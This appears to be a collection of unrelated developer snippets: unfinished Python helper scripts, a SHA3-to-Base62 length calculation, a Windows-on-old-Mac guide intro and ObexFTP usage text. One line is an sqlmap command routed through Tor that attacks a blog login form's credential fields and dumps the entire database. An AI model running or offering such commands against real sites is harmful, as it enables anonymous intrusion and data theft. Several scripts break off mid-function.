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#pip install midi2audio

from midi2audio import FluidSynth
import os, sys, string
from pathlib import Path

def main():
	PROGRAM_NAME = "midi2audio_wrap"
	if len(sys.argv) < 3: #-1

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1. SHA3_224 => 224 bits
2. 224 (bits) [/8] = 28 (bytes)
3. 28 bytes [*2] = 56 (HEX places occupied) = 56 (-long String after digestion)
4. 56 String of HEXadecimals => max number is FFFF...FFFF (56 times). This number is:
(10 (base 16) ^ 57) - 1 = (16^57)-1
5. To find maximum String length base 62 (keccakmod), will use latural logs (coz idk how else). Do:

floor( ln((16^57)-1) / ln(62) ) + 1 ~= floor(158.037 / 4.127) + 1 ~= floor(38.292) + 1 = 38+1=39

* 39 is the maximum code length in Base62

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#!/usr/bin/env python3

import sys
import platform
from os import system

def full_arg():
	return " ".join(sys.argv[1:])
	
def PROGRAM_NAME():

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sqlmap --tor --tor-type=SOCKS5 --random-agent --threads=10 --risk=3 --level=5 --dump-all --url="/blog/login/" --data "email=admin&password=password&remember=Y" -p "email,password" --method POST

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needed to be while (mant_sum < 0x00800000) { not while (mant_sum <= 0x00400000) {, obvious now

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Installing Windows 7/8/10 into a ~2007-2010 Mac device with Mac OS X ~10.6 Snow Leopard with broken Boot Camp.

Note: The guide is mostly based off memory, and hopefully there aren't too many inaccuracies. As the guide is mostly historical at this point, steps are adjusted to modern age.

In this guide, the following OS was used:

• Edition: Windows 7 Professional Service Pack 1
• Bitness: 32 bit

However, the guide itself is not limited to Windows 7 or 32-bit, and it can be used to install (64-bit) Windows 8.1, 10 or beyond.

TAbdiukov

#!python3
import re
import sys

try:
    fn = sys.argv[1]
except IndexError:
    fn = "MYOB Premier v7.msi"

fp = open(fn, "rb")

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ObexFTP 0.24
ObexFTP 0.24
Usage: obexftp [ -i | -b <dev> [-B <chan>] | -U <intf> | -t <dev> | -N <host> ]
[-c <dir> ...] [-C <dir> ] [-l [<dir>]]
[-g <file> ...] [-p <files> ...] [-k <files> ...] [-x] [-m <src> <dest> ...]
Transfer files from/to Mobile Equipment.
Copyright (c) 2002-2004 Christian W. Zuckschwerdt

 -i, --irda                  connect using IrDA transport (default)
 -b, --bluetooth [<device>]  use or search a bluetooth device

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obexftp -i -U IRMC -v -g "User Data/Java/34FE1CD6.JAR" 
obexftp -i -U IRMC -g "User Data/Photo/Image/icons8.PnG"

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ObexFTP 0.22
ObexFTP 0.22
Usage: ObexFtp [ -i | -b <dev> [-B <chan>] | -U <intf> | -t <dev> | -N <host> ]
[-c <dir> ...] [-C <dir> ] [-l [<dir>]]
[-g <file> ...] [-p <files> ...] [-k <files> ...] [-x] [-m <src> <dest> ...]
Transfer files from/to Mobile Equipment.
Copyright (c) 2002-2004 Christian W. Zuckschwerdt

 -i, --irda                  connect using IrDA transport (default)
 -b, --bluetooth [<device>]  use or search a bluetooth device